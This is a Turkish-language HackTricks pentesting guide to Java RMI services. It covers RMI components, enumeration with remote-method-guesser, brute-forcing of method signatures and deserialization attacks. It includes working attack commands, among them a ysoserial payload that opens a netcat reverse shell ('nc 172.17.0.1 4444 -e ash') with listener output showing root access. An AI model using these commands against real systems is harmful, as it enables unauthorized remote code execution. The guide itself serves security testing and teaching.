1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

HackTricks'i Destekleyin

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

Temel Bilgiler

Java Uzak Yöntem Çağrısı, veya Java RMI, bir Java sanal makinesi içinde bulunan bir nesnenin, başka bir Java sanal makinesi içinde bulunan bir nesne üzerindeki yöntemleri çağırmasına olanak tanıyan nesne yönelimli bir RPC mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir perspektiften Java RMI hakkında kısa bir tanıtım bu blackhat konuşmasında bulunabilir.

Varsayılan port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Genellikle, yalnızca varsayılan Java RMI bileşenleri (RMI Registry ve Activation System) yaygın portlara bağlanır. Gerçek RMI uygulamasını uygulayan uzaktan nesneler genellikle yukarıdaki çıktıda gösterildiği gibi rastgele portlara bağlanır.

nmap, bazen SSL korumalı RMI hizmetlerini tanımlamakta zorluklar yaşayabilir. Yaygın bir RMI portunda bilinmeyen bir ssl hizmeti ile karşılaşırsanız, daha fazla araştırma yapmalısınız.

RMI Bileşenleri

Basit bir ifadeyle, Java RMI, bir geliştiricinin bir Java nesnesini ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir TCP portu açar. Bu basit görünse de, Java RMI'nin çözmesi gereken birkaç zorluk vardır:

  1. Java RMI üzerinden bir yöntem çağrısını iletmek için, istemcilerin hedef nesnenin IP adresini, dinleme portunu, uygulanan sınıfı veya arayüzü ve ObjID'sini bilmesi gerekir ( ObjID, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. Java RMI, birden fazla nesnenin aynı TCP portunda dinlemesine izin verdiği için gereklidir).

  2. Uzaktan istemciler, maruz bırakılan nesne üzerinde yöntemleri çağırarak sunucuda kaynak tahsis edebilir. Java sanal makinesi, bu kaynaklardan hangilerinin hala kullanıldığını ve hangilerinin çöp toplanabileceğini takip etmelidir.

İlk zorluk, temelde Java RMI için bir adlandırma hizmeti olan RMI registry tarafından çözülür. RMI registry kendisi de bir _RMI hizmeti_dir, ancak uygulanan arayüz ve ObjID sabittir ve tüm RMI istemcileri tarafından bilinir. Bu, RMI istemcilerinin yalnızca ilgili TCP portunu bilerek RMI registry'sini kullanabilmesini sağlar.

Geliştiriciler, Java nesnelerini ağ içinde kullanılabilir hale getirmek istediklerinde, genellikle bunları bir RMI registry'ne bağlarlar. Registry, nesneye bağlanmak için gereken tüm bilgileri (IP adresi, dinleme portu, uygulanan sınıf veya arayüz ve ObjID değeri) depolar ve bunu insan tarafından okunabilir bir ad altında (bağlı ad) kullanılabilir hale getirir. RMI hizmetini kullanmak isteyen istemciler, ilgili bağlı adı almak için RMI registry'ne başvurur ve registry, bağlanmak için gereken tüm bilgileri döner. Böylece, durum temelde sıradan bir DNS hizmeti ile aynıdır. Aşağıdaki liste küçük bir örnek göstermektedir:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Yukarıda bahsedilen ikinci zorluk, Dağıtılmış Çöp Toplayıcı (DGC) tarafından çözülmektedir. Bu, bilinen bir ObjID değerine sahip başka bir _RMI servisi_dir ve temelde her RMI uç noktasında mevcuttur. Bir RMI istemcisi bir RMI servisini kullanmaya başladığında, ilgili _uzaktan nesne_nin kullanıldığını DGC'ye bildiren bir bilgi gönderir. DGC, referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.

Eski Aktivasyon Sistemi ile birlikte, bunlar Java RMI'nin üç varsayılan bileşenidir:

  1. RMI Kaydı (ObjID = 0)

  2. Aktivasyon Sistemi (ObjID = 1)

  3. Dağıtılmış Çöp Toplayıcı (ObjID = 2)

Varsayılan bileşenler Java RMI'nin bilinen saldırı vektörleri olmuştur ve eski Java sürümlerinde birden fazla güvenlik açığı bulunmaktadır. Bir saldırgan perspektifinden, bu varsayılan bileşenler ilginçtir çünkü bilinen sınıfları / arayüzleri uygulamışlardır ve onlarla etkileşimde bulunmak oldukça kolaydır. Bu durum, özel RMI servisleri için farklıdır. Bir uzaktan nesne üzerinde bir yöntemi çağırmak için, ilgili yöntem imzasını önceden bilmeniz gerekir. Mevcut bir yöntem imzasını bilmeden, bir RMI servisi ile iletişim kurmanın bir yolu yoktur.

RMI Enumeration

remote-method-guesser , yaygın RMI güvenlik açıklarını otomatik olarak tanımlama yeteneğine sahip bir Java RMI güvenlik açığı tarayıcısıdır. Bir RMI uç noktası tanımladığınızda, denemelisiniz:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Enumeration eyleminin çıktısı, projenin belgelendirme sayfalarında daha ayrıntılı olarak açıklanmıştır. Sonuca bağlı olarak, tespit edilen zayıflıkları doğrulamaya çalışmalısınız.

remote-method-guesser tarafından görüntülenen ObjID değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zayıflıkları tanımlamaya olanak tanıyabilir:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Uzak Yöntemlerin Bruteforcing'i

Enumeration sırasında hiçbir zafiyet tespit edilmediğinde bile, mevcut RMI hizmetleri hala tehlikeli işlevler açığa çıkarabilir. Dahası, RMI iletişimi RMI varsayılan bileşenlerine karşı deserialization filtreleriyle korunmasına rağmen, özel RMI hizmetleriyle konuşurken bu filtreler genellikle mevcut değildir. Bu nedenle, RMI hizmetlerindeki geçerli yöntem imzalarını bilmek değerlidir.

Ne yazık ki, Java RMI uzak nesnelerdeki yöntemleri listelemeyi desteklememektedir. Bununla birlikte, remote-method-guesser veya rmiscout gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Belirlenen yöntemler şu şekilde çağrılabilir:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ya da deserialization saldırıları şu şekilde gerçekleştirebilirsiniz:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Daha fazla bilgi bu makalelerde bulunabilir:

Tahmin etmenin yanı sıra, karşılaşılan RMI hizmetinin arayüzü veya hatta uygulaması için arama motorlarında veya GitHub üzerinde de arama yapmalısınız. Bağlı ad ve uygulanan sınıf veya arayüzün adı burada faydalı olabilir.

Bilinen Arayüzler

remote-method-guesser sınıfları veya arayüzleri, eğer araçtaki bilinen RMI hizmetleri iç veritabanında listelenmişse known olarak işaretler. Bu durumlarda, ilgili RMI hizmeti hakkında daha fazla bilgi almak için known eylemini kullanabilirsiniz:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Araçlar

Referanslar

HackTricks Otomatik Komutlar

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest kullanın. Bugün Erişim Alın:

HackTricks'i Destekleyin

Last updated